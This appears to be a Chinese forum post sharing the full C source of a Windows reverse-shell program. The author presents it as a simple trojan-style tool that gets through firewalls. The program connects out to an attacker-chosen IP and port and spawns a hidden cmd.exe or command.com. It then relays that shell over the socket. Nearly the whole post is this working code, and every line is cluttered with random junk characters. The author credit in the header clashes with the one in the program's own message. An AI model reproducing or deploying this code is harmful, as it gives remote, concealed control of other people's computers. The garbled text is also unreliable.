这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "=ElCaP}
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/* ============================== DoG%T(M!a9
Rebound port in Windows NT .M+v?Ad
By wind,2006/7 <~O}6HQ#
===============================*/
0dh#/
#include HZuiVW8
#include *')Q {8`
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#pragma comment(lib,"wsock32.lib") fkBLrw
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void OutputShell(); 2C{/`N
SOCKET sClient; 7(@(Hm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WQ.i$ID/
9ET/I$n
void main(int argc,char **argv) <p)Z/
{ |1i]L @&
WSADATA stWsaData; 'g]=.K+@}
int nRet; SJOmeN}4)
SOCKADDR_IN stSaiClient,stSaiServer; fPrb%
p6[#f96^u
if(argc != 3) e2Ww0IK!E
{ v D&Kae<
printf("Useage:\n\rRebound DestIP DestPort\n"); s@z{dmL
return; U,38qKE
} Nor`c+,4
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WSAStartup(MAKEWORD(2,2),&stWsaData); L^jaBl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r!~(R+,c
u&tFb]1@)
stSaiClient.sin_family = AF_INET; +:!ScG*
stSaiClient.sin_port = htons(0); >"bnpYSe
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "SLvUzO>q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WT?b Bf
{ E\_W
printf("Bind Socket Failed!\n"); S{ey@X(
return; 8Y xhd
.
} &!6DC5
fZ{&dslg
stSaiServer.sin_family = AF_INET; mHHzCKE ,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aSTFcz"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /_HwifRQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `LE^:a:8,
{ =tNzGaWJ
printf("Connect Error!"); IJldN6&\q
return; %P(;8sS
} Kc-Y
OutputShell(); @7 )Z
} VOg/VGJ
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void OutputShell() hc6.#~i
{ @Mzz2&(dU
char szBuff[1024]; 6{ C Fe|XN
SECURITY_ATTRIBUTES stSecurityAttributes; ckAsGF_B~!
OSVERSIONINFO stOsversionInfo; X:R%1+&*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Esb?U|F4
STARTUPINFO stStartupInfo; G{/; AK
char *szShell; 8i[".9}G\
PROCESS_INFORMATION stProcessInformation; ,7t3>9-M"
unsigned long lBytesRead; C(xqvK~p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z2.*#xTZn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7TnM4@*f
stSecurityAttributes.lpSecurityDescriptor = 0; I'xC+nL@
stSecurityAttributes.bInheritHandle = TRUE; R04.K!
L#`7 FaM?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cJSVT8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); //~POm
9jqO/_7R+
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 692Rw}/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HgYc@P*b
stStartupInfo.wShowWindow = SW_HIDE; N4A&"1d&
stStartupInfo.hStdInput = hReadPipe; tSI& "-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ss/h[4h4h
O<4Q$|=&?
GetVersionEx(&stOsversionInfo); ]NbX`'
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switch(stOsversionInfo.dwPlatformId) KlY,NSlQ
{ #NWZ k.S
case 1: >'eB2
szShell = "command.com"; t3pZjdLJd
break; B%TXw#|
default: ]bs+:
szShell = "cmd.exe"; V+peO
break; p(~Y"
H
} W]Y@WKeT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Tt{U"EFO
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send(sClient,szMsg,77,0); A<mj8qz
while(1) f3/SO+Me}
{ YR?3 61FK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;I[ht
if(lBytesRead) Y||yzJdC
{ 8mk}nex
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a3Z:C!|O'
send(sClient,szBuff,lBytesRead,0); y>>vGU;
} c!tvG*{
else di"C]" ;
{ 5ze`IY
lBytesRead=recv(sClient,szBuff,1024,0); K5 5} Wi
if(lBytesRead<=0) break; C(EYM$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }A^1q5
} 7fap*
} f-vZ2+HP
l#X=]xQf
return; "|(rVj=
}